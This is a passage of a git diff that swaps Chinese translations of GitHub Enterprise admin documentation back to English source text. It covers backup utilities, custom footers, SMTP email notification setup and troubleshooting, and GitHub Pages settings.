CPU/IO priority. You do not need to schedule a maintenance window to perform a backup. -只有自上一个快照之后添加的数据将通过网络传输并占用额外的物理存储空间。 要最大限度地减小对性能的影响，会以最低 CPU/IO 优先级在线执行备份。 您不需要排定维护窗口来执行备份。 +For more detailed information on features, requirements, and advanced usage, see the [{% data variables.product.prodname_enterprise_backup_utilities %} README](https://github.com/github/backup-utils#readme). -更多关于功能、要求和高级用法的详细信息，请参阅 [{% data variables.product.prodname_enterprise_backup_utilities %} 自述文件](https://github.com/github/backup-utils#readme)。 +## Prerequisites -## 基本要求 +To use {% data variables.product.prodname_enterprise_backup_utilities %}, you must have a Linux or Unix host system separate from {% data variables.product.product_location %}. -要使用 {% data variables.product.prodname_enterprise_backup_utilities %}，您必须将 Linux 或 Unix 主机系统与 {% data variables.product.product_location %} 分开。 +You can also integrate {% data variables.product.prodname_enterprise_backup_utilities %} into an existing environment for long-term permanent storage of critical data. -您还可以将 {% data variables.product.prodname_enterprise_backup_utilities %} 集成到现有环境中，以便长期、永久地存储重要数据。 +We recommend that the backup host and {% data variables.product.product_location %} be geographically distant from each other. This ensures that backups are available for recovery in the event of a major disaster or network outage at the primary site. -建议将备份主机和 {% data variables.product.product_location %} 放置在相距较远的位置。 这样可以确保在主要站点发生重大事故或网络故障的情况下通过备份进行还原。 +Physical storage requirements will vary based on Git repository disk usage and expected growth patterns: -物理存储要求将因 Git 仓库磁盘使用情况以及预计的增长情况而异： +| Hardware | Recommendation | +| -------- | --------- | +| **vCPUs** | 2 | +| **Memory** | 2 GB | +| **Storage** | Five times the primary instance's allocated storage | -| 硬件 | 建议 | -| -------- | ----------------- | -| **vCPU** | 2 | -| **内存** | 2 GB | -| **存储器** | 等于为主要实例分配的存储空间的五倍 | +More resources may be required depending on your usage, such as user activity and selected integrations. -根据您的使用情况（例如用户活动和选定的集成），可能需要更多资源。 - -## 安装 {% data variables.product.prodname_enterprise_backup_utilities %} +## Installing {% data variables.product.prodname_enterprise_backup_utilities %} {% note %} -**注**：为确保还原的设备立即可用，即使采用 Geo-replication 配置，也应针对主要实例执行备份。 +**Note:** To ensure a recovered appliance is immediately available, perform backups targeting the primary instance even in a Geo-replication configuration. {% endnote %} -1. 下载最新的 [{% data variables.product.prodname_enterprise_backup_utilities %} 版本](https://github.com/github/backup-utils/releases)并使用 `tar` 命令解压文件。 +1. Download the latest [{% data variables.product.prodname_enterprise_backup_utilities %} release](https://github.com/github/backup-utils/releases) and extract the file with the `tar` command. ```shell - $ tar -xzvf /path/to/github-backup-utils-vMAJOR.MINOR.PATCH.tar.gz + $ tar -xzvf /path/to/github-backup-utils-vMAJOR.MINOR.PATCH.tar.gz ``` -2. 将包含的 `backup.config-example` 文件复制到 `backup.config`，并在编辑器中打开。 -3. 将 `GHE_HOSTNAME` 值设为主要 {% data variables.product.prodname_ghe_server %} 实例的主机名或 IP 地址。 +2. Copy the included `backup.config-example` file to `backup.config` and open in an editor. +3. Set the `GHE_HOSTNAME` value to your primary {% data variables.product.prodname_ghe_server %} instance's hostname or IP address. {% note %} - **注意:** 如果您的 {% data variables.product.product_location %} 部署为集群或使用负载均衡器的高可用性配置， `GHE_HOSTNAME` 可以是负载均衡器主机名，只要它允许 SSH (端口122) 访问 {% data variables.product.product_location %} 即可。 + **Note:** If your {% data variables.product.product_location %} is deployed as a cluster or in a high availability configuration using a load balancer, the `GHE_HOSTNAME` can be the load balancer hostname, as long as it allows SSH access (on port 122) to {% data variables.product.product_location %}. {% endnote %} -4. 将 `GHE_DATA_DIR` 值设为您希望存储备份快照的文件系统位置。 -5. 打开主要实例的设置页面（网址为 `https://HOSTNAME/setup/settings`），并将备份主机的 SSH 密钥添加到已授权 SSH 密钥列表中。 更多信息请参阅[访问管理 shell (SSH)](/enterprise/{{ currentVersion }}/admin/guides/installation/accessing-the-administrative-shell-ssh/)。 -6. 使用 `ghe-host-chec` 命令确认与 {% data variables.product.product_location %} 的 SSH 连接。 +4. Set the `GHE_DATA_DIR` value to the filesystem location where you want to store backup snapshots. +5. Open your primary instance's settings page at `https://HOSTNAME/setup/settings` and add the backup host's SSH key to the list of authorized SSH keys. For more information, see [Accessing the administrative shell (SSH)](/enterprise/{{ currentVersion }}/admin/guides/installation/accessing-the-administrative-shell-ssh/). +6. Verify SSH connectivity with {% data variables.product.product_location %} with the `ghe-host-check` command. ```shell - $ bin/ghe-host-check - ``` - 7. 要创建初次完整备份，请运行 `ghe-backup` 命令。 + $ bin/ghe-host-check + ``` + 7. To create an initial full backup, run the `ghe-backup` command. ```shell - $ bin/ghe-backup + $ bin/ghe-backup ``` -有关高级用法的更多信息，请参阅 [{% data variables.product.prodname_enterprise_backup_utilities %} 自述文件](https://github.com/github/backup-utils#readme)。 +For more information on advanced usage, see the [{% data variables.product.prodname_enterprise_backup_utilities %} README](https://github.com/github/backup-utils#readme). -## 排定备份 +## Scheduling a backup -您可以使用 `cron(8)` 命令或类似的命令排定服务在备份主机上排定定期备份。 配置的备份频率将决定您的恢复计划中的最坏情况恢复点目标 (RPO)。 例如，如果您已排定在每天午夜运行备份，则在发生灾难的情况下，可能丢失长达 24 小时的数据。 建议在开始时采用每小时备份日程，从而确保在主要站点数据受到破坏时，最坏情况下最多会丢失一小时的数据。 +You can schedule regular backups on the backup host using the `cron(8)` command or a similar command scheduling service. The configured backup frequency will dictate the worst case recovery point objective (RPO) in your recovery plan. For example, if you have scheduled the backup to run every day at midnight, you could lose up to 24 hours of data in a disaster scenario. We recommend starting with an hourly backup schedule, guaranteeing a worst case maximum of one hour of data loss if the primary site data is destroyed. -如果备份尝试重复，`ghe-backup` 命令将中止并显示错误消息，指示存在同时备份。 如果出现这种情况，建议降低已排定的备份的频率。 更多信息请参阅 [{% data variables.product.prodname_enterprise_backup_utilities %} 自述文件](https://github.com/github/backup-utils#scheduling-backups)的“排定备份”部分。 +If backup attempts overlap, the `ghe-backup` command will abort with an error message, indicating the existence of a simultaneous backup. If this occurs, we recommended decreasing the frequency of your scheduled backups. For more information, see the "Scheduling backups" section of the [{% data variables.product.prodname_enterprise_backup_utilities %} README](https://github.com/github/backup-utils#scheduling-backups). -## 还原备份 +## Restoring a backup -如果主要站点发生的故障或灾难性事件的时间较长，要还原 {% data variables.product.product_location %}，请提供另一个 {% data variables.product.prodname_enterprise %} 设备并从备份主机执行还原。 在还原设备之前，您必须将备份主机的 SSH 密钥作为已授权 SSH 密钥添加到目标 {% data variables.product.prodname_enterprise %} 设备。 +In the event of prolonged outage or catastrophic event at the primary site, you can restore {% data variables.product.product_location %} by provisioning another {% data variables.product.prodname_enterprise %} appliance and performing a restore from the backup host. You must add the backup host's SSH key to the target {% data variables.product.prodname_enterprise %} appliance as an authorized SSH key before restoring an appliance. {% ifversion ghes %} {% note %} -**注：**如果 {% data variables.product.product_location %} 已启用 {% data variables.product.prodname_actions %}，则必须先在替换设备上配置 {% data variables.product.prodname_actions %} 外部存储提供程序，然后再运行 `ghe-restore` 命令。 更多信息请参阅“[在启用 {% data variables.product.prodname_actions %} 的情况下备份和恢复 {% data variables.product.prodname_ghe_server %}](/admin/github-actions/backing-up-and-restoring-github-enterprise-server-with-github-actions-enabled)”。 +**Note:** If {% data variables.product.product_location %} has {% data variables.product.prodname_actions %} enabled, you must first configure the {% data variables.product.prodname_actions %} external storage provider on the replacement appliance before running the `ghe-restore` command. For more information, see "[Backing up and restoring {% data variables.product.prodname_ghe_server %} with {% data variables.product.prodname_actions %} enabled](/admin/github-actions/backing-up-and-restoring-github-enterprise-server-with-github-actions-enabled)." {% endnote %} {% endif %} {% note %} -**注意：** 当执行备份恢复到 {% data variables.product.product_location %} 时，适用相同的版本支持性规则。 您最多只能从后面两个功能版本恢复数据。 +**Note:** When performing backup restores to {% data variables.product.product_location %}, the same version supportability rules apply. You can only restore data from at most two feature releases behind. -例如，如果您从 GHES 3.0.x 备份，您可以恢复到 GHES 3.2.x 实例。 但您不能将从 GHES 2.22.x 的备份数据还原到 3.2。, 因为这会有三个版本 (2.22 > 3.0 > 3.1 > 3.2) 之间的跳转。 您需要先恢复到 3.1.x 实例，然后升级到 3.2.x。 +For example, if you take a backup from GHES 3.0.x, you can restore it into a GHES 3.2.x instance. But, you cannot restore data from a backup of GHES 2.22.x onto 3.2.x, because that would be three jumps between versions (2.22 > 3.0 > 3.1 > 3.2). You would first need to restore onto a 3.1.x instance, and then upgrade to 3.2.x. {% endnote %} -要通过上一个成功快照还原 {% data variables.product.product_location %}，请使用 `ghe-restore` 命令。 您看到的输出应类似于： +To restore {% data variables.product.product_location %} from the last successful snapshot, use the `ghe-restore` command. You should see output similar to this: ```shell $ ghe-restore -c 169.154.1.1 @@ -132,10 +131,10 @@ $ ghe-restore -c 169.154.1.1 {% note %} -**注**：网络设置不包含在备份快照中。 您必须根据环境的要求在目标 {% data variables.product.prodname_ghe_server %} 设备上手动配置网络。 +**Note:** The network settings are excluded from the backup snapshot. You must manually configure the network on the target {% data variables.product.prodname_ghe_server %} appliance as required for your environment. {% endnote %} -您可以将以下附加选项与 `ghe-restore` 命令结合使用： -- `-c` 标志会重写目标主机上的设置、证书和许可数据，即使已配置也不例外。 如果您要为测试设置暂存实例，并且希望在目标设备上保留现有配置，请省略此标志。 更多信息请参阅 [{% data variables.product.prodname_enterprise_backup_utilities %} 自述文件](https://github.com/github/backup-utils#using-the-backup-and-restore-commands)的“使用备份和还原命令”部分。 -- `-s` 标志允许您选择其他备份快照。 +You can use these additional options with `ghe-restore` command: +- The `-c` flag overwrites the settings, certificate, and license data on the target host even if it is already configured. Omit this flag if you are setting up a staging instance for testing purposes and you wish to retain the existing configuration on the target. For more information, see the "Using using backup and restore commands" section of the [{% data variables.product.prodname_enterprise_backup_utilities %} README](https://github.com/github/backup-utils#using-the-backup-and-restore-commands). +- The `-s` flag allows you to select a different backup snapshot. diff --git a/translations/zh-CN/content/admin/configuration/configuring-your-enterprise/configuring-custom-footers.md b/translations/zh-CN/content/admin/configuration/configuring-your-enterprise/configuring-custom-footers.md new file mode 100644 index 0000000000..c334869985 --- /dev/null +++ b/translations/zh-CN/content/admin/configuration/configuring-your-enterprise/configuring-custom-footers.md @@ -0,0 +1,38 @@ +--- +title: Configuring custom footers +intro: 'You can give users easy access to enterprise-specific links by adding custom footers to {% data variables.product.product_name %}.' +versions: + ghec: '*' + ghes: '>=3.4' +type: how_to +topics: + - Enterprise + - Fundamentals +shortTitle: Configure custom footers +--- +Enterprise owners can configure {% data variables.product.product_name %} to show custom footers with up to five additional links. + +![Custom footer](/assets/images/enterprise/custom-footer/octodemo-footer.png) + +The custom footer is displayed above the {% data variables.product.prodname_dotcom %} footer {% ifversion ghes or ghae %}to all users, on all pages of {% data variables.product.product_name %}{% else %}to all enterprise members and collaborators, on all repository and organization pages for repositories and organizations that belong to the enterprise{% endif %}. + +## Configuring custom footers for your enterprise + +{% data reusables.enterprise-accounts.access-enterprise %} +{% data reusables.enterprise-accounts.settings-tab %} + +1. Under "Settings", click **Profile**. +{%- ifversion ghec %} +![Enterprise profile settings](/assets/images/enterprise/custom-footer/enterprise-profile-ghec.png) +{%- else %} +![Enterprise profile settings](/assets/images/enterprise/custom-footer/enterprise-profile-ghes.png) +{%- endif %} + +1. At the top of the Profile section, click **Custom footer**. +![Custom footer section](/assets/images/enterprise/custom-footer/custom-footer-section.png) + +1. Add up to five links in the fields shown. +![Add footer links](/assets/images/enterprise/custom-footer/add-footer-links.png) + +1. Click **Update custom footer** to save the content and display the custom footer. +![Update custom footer](/assets/images/enterprise/custom-footer/update-custom-footer.png) diff --git a/translations/zh-CN/content/admin/configuration/configuring-your-enterprise/configuring-email-for-notifications.md b/translations/zh-CN/content/admin/configuration/configuring-your-enterprise/configuring-email-for-notifications.md index b99cf62f15..908386931e 100644 --- a/translations/zh-CN/content/admin/configuration/configuring-your-enterprise/configuring-email-for-notifications.md +++ b/translations/zh-CN/content/admin/configuration/configuring-your-enterprise/configuring-email-for-notifications.md @@ -1,6 +1,6 @@ --- -title: 配置电子邮件通知 -intro: '为了让用户轻松地快速响应 {% data variables.product.product_name %} 上的活动，您可以配置 {% data variables.product.product_location %} 对议题、拉取请求和提交注释发送电子邮件通知。' +title: Configuring email for notifications +intro: 'To make it easy for users to respond quickly to activity on {% data variables.product.product_name %}, you can configure {% data variables.product.product_location %} to send email notifications for issue, pull request, and commit comments.' redirect_from: - /enterprise/admin/guides/installation/email-configuration/ - /enterprise/admin/articles/configuring-email/ @@ -17,81 +17,96 @@ topics: - Fundamentals - Infrastructure - Notifications -shortTitle: 配置电子邮件通知 +shortTitle: Configure email notifications --- - {% ifversion ghae %} -企业所有者可以配置以电子邮件发送通知。 +Enterprise owners can configure email for notifications. {% endif %} -## 为企业配置 SMTP +## Configuring SMTP for your enterprise {% ifversion ghes %} {% data reusables.enterprise_site_admin_settings.access-settings %} {% data reusables.enterprise_site_admin_settings.management-console %} -2. 在页面顶部，单击 **Settings**。 ![Settings 选项卡](/assets/images/enterprise/management-console/settings-tab.png) -3. 在左侧边栏中，单击 **Email**。 ![Email 选项卡](/assets/images/enterprise/management-console/email-sidebar.png) -4. 选择 **Enable email**。 这将同时启用出站和入站电子邮件，不过，要想入站电子邮件正常运行，您还需要按照下文“[配置 DNS 和防火墙设置以允许传入的电子邮件](#configuring-dns-and-firewall-settings-to-allow-incoming-emails)”所述配置您的 DNS 设置。 ![启用出站电子邮件](/assets/images/enterprise/management-console/enable-outbound-email.png) -5. 键入 SMTP 服务器的设置。 - - 在 **Server address** 字段中，输入您的 SMTP 服务器的地址。 - - 在 **Port** 字段中，输入 SMTP 服务器用于发送电子邮件的端口。 - - 在 **Domain** 字段中，输入您的 SMTP 服务器将随 HELO 响应（如有）发送的域名。 - - 在 **Authentication（身份验证）**下拉菜单中选择您的 SMTP 服务器使用的加密类型。 - - 在 **No-reply email address** 字段中，输入要在所有通知电子邮件的 From 和 To 字段中使用的电子邮件地址。 -6. 如果您想丢弃发送到无回复电子邮件地址的所有传入电子邮件，请选中 **Discard email addressed to the no-reply email address**。 ![用于丢弃发送到无回复电子邮件地址的电子邮件的复选框](/assets/images/enterprise/management-console/discard-noreply-emails.png) -7. 在 **Support（支持）**下，选择用于向您的用户提供附加支持的链接类型。 - - **Email**：内部电子邮件地址。 - - **URL**：内部支持站点的链接。 您必须包括 `http://` 或 `https://`。 ![支持电子邮件或 URL](/assets/images/enterprise/management-console/support-email-url.png) -8. [测试电子邮件递送](#testing-email-delivery)。 +2. At the top of the page, click **Settings**. +![Settings tab](/assets/images/enterprise/management-console/settings-tab.png) +3. In the left sidebar, click **Email**. +![Email tab](/assets/images/enterprise/management-console/email-sidebar.png) +4. Select **Enable email**. This will enable both outbound and inbound email, however for inbound email to work you will also need to configure your DNS settings as described below in "[Configuring DNS and firewall +settings to allow incoming emails](#configuring-dns-and-firewall-settings-to-allow-incoming-emails)." +![Enable outbound email](/assets/images/enterprise/management-console/enable-outbound-email.png) +5. Type the settings for your SMTP server. + - In the **Server address** field, type the address of your SMTP server. + - In the **Port** field, type the port that your SMTP server uses to send email. + - In the **Domain** field, type the domain name that your SMTP server will send with a HELO response, if any. + - Select the **Authentication** dropdown, and choose the type of encryption used by your SMTP server. + - In the **No-reply email address** field, type the email address to use in the From and To fields for all notification emails. +6. If you want to discard all incoming emails that are addressed to the no-reply email address, select **Discard email addressed to the no-reply email address**. +![Checkbox to discard emails addressed to the no-reply email address](/assets/images/enterprise/management-console/discard-noreply-emails.png) +7. Under **Support**, choose a type of link to offer additional support to your users. + - **Email:** An internal email address. + - **URL:** A link to an internal support site. You must include either `http://` or `https://`. + ![Support email or URL](/assets/images/enterprise/management-console/support-email-url.png) +8. [Test email delivery](#testing-email-delivery). {% elsif ghae %} {% data reusables.enterprise-accounts.access-enterprise %} {% data reusables.enterprise-accounts.settings-tab %} {% data reusables.enterprise-accounts.email-tab %} -2. 选择 **Enable email**。 ![用于电子邮件设置配置的"Enable（启用）"复选框](/assets/images/enterprise/configuration/ae-enable-email-configure.png) -3. 键入电子邮件服务器的设置。 - - 在 **Server address** 字段中，输入您的 SMTP 服务器的地址。 - - 在 **Port** 字段中，输入 SMTP 服务器用于发送电子邮件的端口。 - - 在 **Domain** 字段中，输入您的 SMTP 服务器将随 HELO 响应（如有）发送的域名。 - - 在 **Authentication（身份验证）**下拉菜单中选择您的 SMTP 服务器使用的加密类型。 - - 在 **No-reply email address** 字段中，输入要在所有通知电子邮件的 From 和 To 字段中使用的电子邮件地址。 -4. 如果您想丢弃发送到无回复电子邮件地址的所有传入电子邮件，请选中 **Discard email addressed to the no-reply email address**。 ![用于电子邮件设置配置的"Discard（放弃）"复选框](/assets/images/enterprise/configuration/ae-discard-email.png) -5. 单击 **Test email settings（测试电子邮件设置）**。 ![用于电子邮件设置配置的"Test email settings（测试电子邮件设置）"按钮](/assets/images/enterprise/configuration/ae-test-email.png) -6. 在“Send test email to（发送测试电子邮件到）”下，请输入测试电子邮件要发送到的电子邮件地址，然后单击 **Send test email（发送测试电子邮件）**。 ![用于电子邮件设置配置的"Send test email（发送测试电子邮件）"按钮](/assets/images/enterprise/configuration/ae-send-test-email.png) -7. 单击 **Save（保存）**。 ![用于企业支持联系人配置的"Save（保存）"按钮](/assets/images/enterprise/configuration/ae-save.png) +2. Select **Enable email**. + !["Enable" checkbox for email settings configuration](/assets/images/enterprise/configuration/ae-enable-email-configure.png) +3. Type the settings for your email server. + - In the **Server address** field, type the address of your SMTP server. + - In the **Port** field, type the port that your SMTP server uses to send email. + - In the **Domain** field, type the domain name that your SMTP server will send with a HELO response, if any. + - Select the **Authentication** dropdown, and choose the type of encryption used by your SMTP server. + - In the **No-reply email address** field, type the email address to use in the From and To fields for all notification emails. +4. If you want to discard all incoming emails that are addressed to the no-reply email address, select **Discard email addressed to the no-reply email address**. + !["Discard" checkbox for email settings configuration](/assets/images/enterprise/configuration/ae-discard-email.png) +5. Click **Test email settings**. + !["Test email settings" button for email settings configuration](/assets/images/enterprise/configuration/ae-test-email.png) +6. Under "Send test email to," type the email address where you want to send a test email, then click **Send test email**. + !["Send test email" button for email settings configuration](/assets/images/enterprise/configuration/ae-send-test-email.png) +7. Click **Save**. + !["Save" button for enterprise support contact configuration](/assets/images/enterprise/configuration/ae-save.png) {% endif %} {% ifversion ghes %} -## 测试电子邮件递送 +## Testing email delivery -1. 在 **Email** 部分的顶部，单击 **Test email settings**。 ![测试电子邮件设置](/assets/images/enterprise/management-console/test-email.png) -2. 在 **Send test email to** 字段中，输入用于接收测试电子邮件的地址。 ![测试电子邮件地址](/assets/images/enterprise/management-console/test-email-address.png) -3. 单击 **Send test email**。 ![发送测试电子邮件](/assets/images/enterprise/management-console/test-email-address-send.png) +1. At the top of the **Email** section, click **Test email settings**. +![Test email settings](/assets/images/enterprise/management-console/test-email.png) +2. In the **Send test email to** field, type an address to send the test email to. +![Test email address](/assets/images/enterprise/management-console/test-email-address.png) +3. Click **Send test email**. +![Send test email](/assets/images/enterprise/management-console/test-email-address-send.png) {% tip %} - **提示**：如果在发送测试电子邮件时发生 SMTP 错误（例如即时递送失败或传出邮件配置错误），您将在 Test email settings 对话框中看到这些错误。 + **Tip:** If SMTP errors occur while sending a test email—such as an immediate delivery failure or an outgoing mail configuration error—you will see them in the Test email settings dialog box. {% endtip %} -4. 如果测试电子邮件失败，请[排查电子邮件设置问题](#troubleshooting-email-delivery)。 -5. 当测试电子邮件成功后，在页面的底部单击 **Save settings**。 ![Save settings 按钮](/assets/images/enterprise/management-console/save-settings.png) -6. 等待配置运行完毕。![配置实例](/assets/images/enterprise/management-console/configuration-run.png) +4. If the test email fails, [troubleshoot your email settings](#troubleshooting-email-delivery). +5. When the test email succeeds, at the bottom of the page, click **Save settings**. +![Save settings button](/assets/images/enterprise/management-console/save-settings.png) +6. Wait for the configuration run to complete. +![Configuring your instance](/assets/images/enterprise/management-console/configuration-run.png) -## 配置 DNS 和防火墙设置以允许传入的电子邮件 +## Configuring DNS and firewall settings to allow incoming emails -如果您希望允许通知的电子邮件回复，则必须配置 DNS 设置。 +If you want to allow email replies to notifications, you must configure your DNS settings. -1. 确保您的 SMTP 服务器可以访问实例上的端口 25。 -2. 创建一个指向 `reply.[hostname]` 的 A 记录。 根据您的 DNS 提供商和实例主机配置，您可以创建一个指向 `*.[hostname]` 的 A 记录。 -3. 创建一个指向 `reply.[hostname]` 的 MX 记录，以便发送到该域的电子邮件可以路由到实例。 -4. 创建一个将 `noreply.[hostname]` 指向 `[hostname]` 的 MX 记录，以便对通知电子邮件中 `cc` 地址的回复可以路由到实例。 更多信息请参阅{% ifversion ghes %}"[配置通知](/github/managing-subscriptions-and-notifications-on-github/configuring-notifications){% else %}“[关于电子邮件通知](/github/receiving-notifications-about-activity-on-github/about-email-notifications){% endif %}。” +1. Ensure that port 25 on the instance is accessible to your SMTP server. +2. Create an A record that points to `reply.[hostname]`. Depending on your DNS provider and instance host configuration, you may be able to instead create a single A record that points to `*.[hostname]`. +3. Create an MX record that points to `reply.[hostname]` so that emails to that domain are routed to the instance. +4. Create an MX record that points `noreply.[hostname]` to `[hostname]` so that replies to the `cc` address in notification emails are routed to the instance. For more information, see {% ifversion ghes %}"[Configuring notifications](/github/managing-subscriptions-and-notifications-on-github/configuring-notifications){% else %}"[About email notifications](/github/receiving-notifications-about-activity-on-github/about-email-notifications){% endif %}." -## 排查电子邮件递送问题 +## Troubleshooting email delivery -### 创建支持包 +### Create a Support Bundle -如果您无法根据显示的错误消息确定什么地方出错，可以下载包含您的邮件服务器与 {% data variables.product.prodname_ghe_server %} 之间的整个 SMTP 对话的[支持包](/enterprise/{{ currentVersion }}/admin/guides/enterprise-support/providing-data-to-github-support)。 在下载并提取支持包后，请检查 *enterprise-manage-logs/unicorn.log* 中的条目，查看整个 SMTP 对话日志和任何相关错误。 +If you cannot determine what is wrong from the displayed error message, you can download a [support bundle](/enterprise/{{ currentVersion }}/admin/guides/enterprise-support/providing-data-to-github-support) containing the entire SMTP conversation between your mail server and {% data variables.product.prodname_ghe_server %}. Once you've downloaded and extracted the bundle, check the entries in *enterprise-manage-logs/unicorn.log* for the entire SMTP conversation log and any related errors. -该独角兽日志应以类似于下面所示的方式显示事务： +The unicorn log should show a transaction similar to the following: ```shell This is a test email generated from https://10.0.0.68/setup/settings @@ -123,18 +138,18 @@ TLS connection started -> "535 5.7.1 http://support.yourdomain.com/smtp/auth-not-accepted nt3sm2942435pbc.14\r\n" ``` -此日志显示该设备： +This log shows that the appliance: -* 打开了与 SMTP 服务器的连接 (`Connection opened: smtp.yourdomain.com:587`)。 -* 成功连接并选择使用 TLS (`TLS connection started`)。 -* 执行了 `login` 身份验证类型 (`<- "AUTH LOGIN\r\n"`)。 -* SMTP 服务器以无效为原因拒绝了身份验证 (`-> "535-5.7.1 Username and Password not accepted.`)。 +* Opened a connection with the SMTP server (`Connection opened: smtp.yourdomain.com:587`). +* Successfully made a connection and chose to use TLS (`TLS connection started`). +* The `login` authentication type was performed (`<- "AUTH LOGIN\r\n"`). +* The SMTP Server rejected the authentication as invalid (`-> "535-5.7.1 Username and Password not accepted.`). -### 检查 {% data variables.product.product_location %} 日志 +### Check {% data variables.product.product_location %} logs -如果您需要验证入站电子邮件是否正常运行，可以在实例上检查两个日志文件：验证 */var/log/mail.log* 和 */var/log/mail-replies/metroplex.log*。 +If you need to verify that your inbound email is functioning, there are two log files that you can examine on your instance: To verify that */var/log/mail.log* and */var/log/mail-replies/metroplex.log*. -*/var/log/mail.log* 可以验证消息是否抵达您的服务器。 下面是一个成功电子邮件回复的示例： +*/var/log/mail.log* verifies that messages are reaching your server. Here's an example of a successful email reply: ``` Oct 30 00:47:18 54-171-144-1 postfix/smtpd[13210]: connect from st11p06mm-asmtp002.mac.com[17.172.124.250] @@ -146,9 +161,9 @@ Oct 30 00:47:19 54-171-144-1 postfix/qmgr[17250]: 51DC9163323: removed Oct 30 00:47:19 54-171-144-1 postfix/smtpd[13210]: disconnect from st11p06mm-asmtp002.mac.com[17.172.124.250] ``` -请注意，客户端先连接，然后队列变成活动状态。 接着，消息递送，客户端从队列中移除，会话断开连接。 +Note that the client first connects; then, the queue becomes active. Then, the message is delivered, the client is removed from the queue, and the session disconnects. -*/var/log/mail-replies/metroplex.log* 可以显示入站电子邮件是否正在处理，以便作为回复添加到问题和拉取请求中。 下面是一个成功消息的示例： +*/var/log/mail-replies/metroplex.log* shows whether inbound emails are being processed to add to issues and pull requests as replies. Here's an example of a successful message: ``` [2014-10-30T00:47:23.306 INFO (5284) #] metroplex: processing @@ -156,19 +171,19 @@ Oct 30 00:47:19 54-171-144-1 postfix/smtpd[13210]: disconnect from st11p06mm-asm [2014-10-30T00:47:23.334 DEBUG (5284) #] Moving /data/user/mail/reply/new/1414630039.Vfc00I12000eM445784.ghe-tjl2-co-ie => /data/user/incoming-mail/success ``` -您将注意到，`metroplex` 会缓存、处理入站消息，然后将文件移动到 `/data/user/incoming-mail/success` 中。{% endif %} +You'll notice that `metroplex` catches the inbound message, processes it, then moves the file over to `/data/user/incoming-mail/success`.{% endif %} -### 验证 DNS 设置 +### Verify your DNS settings -为了正确处理入站电子邮件，您必须配置有效的 A 记录（或 CNAME）和 MX 记录。 更多信息请参阅“[配置 DNS 和防火墙设置以允许传入的电子邮件](#configuring-dns-and-firewall-settings-to-allow-incoming-emails)”。 +In order to properly process inbound emails, you must configure a valid A Record (or CNAME), as well as an MX Record. For more information, see "[Configuring DNS and firewall settings to allow incoming emails](#configuring-dns-and-firewall-settings-to-allow-incoming-emails)." -### 检查防火墙或 AWS 安全组设置 +### Check firewall or AWS Security Group settings -如果 {% data variables.product.product_location %} 位于防火墙后或者正在通过 AWS 安全组提供，请确保端口 25 对将电子邮件发送到 `reply@reply.[hostname]` 的所有邮件服务器开放。 +If {% data variables.product.product_location %} is behind a firewall or is being served through an AWS Security Group, make sure port 25 is open to all mail servers that send emails to `reply@reply.[hostname]`. -### 联系支持 +### Contact support {% ifversion ghes %} -如果您仍然无法解决问题，请联系 {% data variables.contact.contact_ent_support %}。 请在您的电子邮件中附上 `http(s)://[hostname]/setup/diagnostics` 的输出文件，以便帮助我们排查您的问题。 +If you're still unable to resolve the problem, contact {% data variables.contact.contact_ent_support %}. Please attach the output file from `http(s)://[hostname]/setup/diagnostics` to your email to help us troubleshoot your problem. {% elsif ghae %} -您可以联系 {% data variables.contact.github_support %} 寻求帮助配置通过 SMTP 服务器发送电子邮件通知。 更多信息请参阅“[从 {% data variables.contact.github_support %} 获取帮助](/admin/enterprise-support/receiving-help-from-github-support)”。 +You can contact {% data variables.contact.github_support %} for help configuring email for notifications to be sent through your SMTP server. For more information, see "[Receiving help from {% data variables.contact.github_support %}](/admin/enterprise-support/receiving-help-from-github-support)." {% endif %} diff --git a/translations/zh-CN/content/admin/configuration/configuring-your-enterprise/configuring-github-pages-for-your-enterprise.md b/translations/zh-CN/content/admin/configuration/configuring-your-enterprise/configuring-github-pages-for-your-enterprise.md index 083edaffe2..d5d41ee13a 100644 --- a/translations/zh-CN/content/admin/configuration/configuring-your-enterprise/configuring-github-pages-for-your-enterprise.md +++ b/translations/zh-CN/content/admin/configuration/configuring-your-enterprise/configuring-github-pages-for-your-enterprise.md @@ -1,6 +1,6 @@ --- -title: 为企业配置 GitHub Pages -intro: '您可以为企业启用或禁用 {% data variables.product.prodname_pages %}，并选择是否让站点被公开访问。' +title: Configuring GitHub Pages for your enterprise +intro: 'You can enable or disable {% data variables.product.prodname_pages %} for your enterprise{% ifversion ghes %} and choose whether to make sites publicly accessible{% endif %}.' redirect_from: - /enterprise/admin/guides/installation/disabling-github-enterprise-pages/ - /enterprise/admin/guides/installation/configuring-github-enterprise-pages/ @@ -16,55 +16,54 @@ type: how_to topics: - Enterprise - Pages -shortTitle: 配置 GitHub Pages +shortTitle: Configure GitHub Pages --- -## 为 {% data variables.product.prodname_pages %} 启用公共站点 +{% ifversion ghes %} -{% ifversion ghes %}如果您的企业启用了私有模式，则除非您启用公共站点，否则{% else %}{% endif %}公众无法访问您的企业托管的 {% data variables.product.prodname_pages %} 站点。 +## Enabling public sites for {% data variables.product.prodname_pages %} + +If private mode is enabled on your enterprise, the public cannot access {% data variables.product.prodname_pages %} sites hosted by your enterprise unless you enable public sites. {% warning %} -**警告**：如果为 {% data variables.product.prodname_pages %} 启用公共站点，则企业上每个仓库中的每个站点均可由公众访问。 +**Warning:** If you enable public sites for {% data variables.product.prodname_pages %}, every site in every repository on your enterprise will be accessible to the public. {% endwarning %} -{% ifversion ghes %} {% data reusables.enterprise_site_admin_settings.access-settings %} {% data reusables.enterprise_site_admin_settings.management-console %} {% data reusables.enterprise_management_console.pages-tab %} -4. 选择 **Public Pages**。 ![启用公共页面复选框](/assets/images/enterprise/management-console/public-pages-checkbox.png) +4. Select **Public Pages**. + ![Checkbox to enable Public Pages](/assets/images/enterprise/management-console/public-pages-checkbox.png) {% data reusables.enterprise_management_console.save-settings %} -{% elsif ghae %} -{% data reusables.enterprise-accounts.access-enterprise %} -{% data reusables.enterprise-accounts.policies-tab %} -{% data reusables.enterprise-accounts.pages-tab %} -5. 在“Pages policies（页面策略）”下，选择 **Public {% data variables.product.prodname_pages %}（公共 Github）**。 ![用于启用公共 {% data variables.product.prodname_pages %} 的复选框](/assets/images/enterprise/business-accounts/public-github-pages-checkbox.png) -{% data reusables.enterprise-accounts.pages-policies-save %} -{% endif %} -## 为企业禁用 {% data variables.product.prodname_pages %} +## Disabling {% data variables.product.prodname_pages %} for your enterprise -{% ifversion ghes %} -如果为企业禁用了子域隔离，则还应禁用 {% data variables.product.prodname_pages %}，以免遭受潜在安全漏洞的攻击。 更多信息请参阅“[启用子域隔离](/admin/configuration/enabling-subdomain-isolation)”。 -{% endif %} +If subdomain isolation is disabled for your 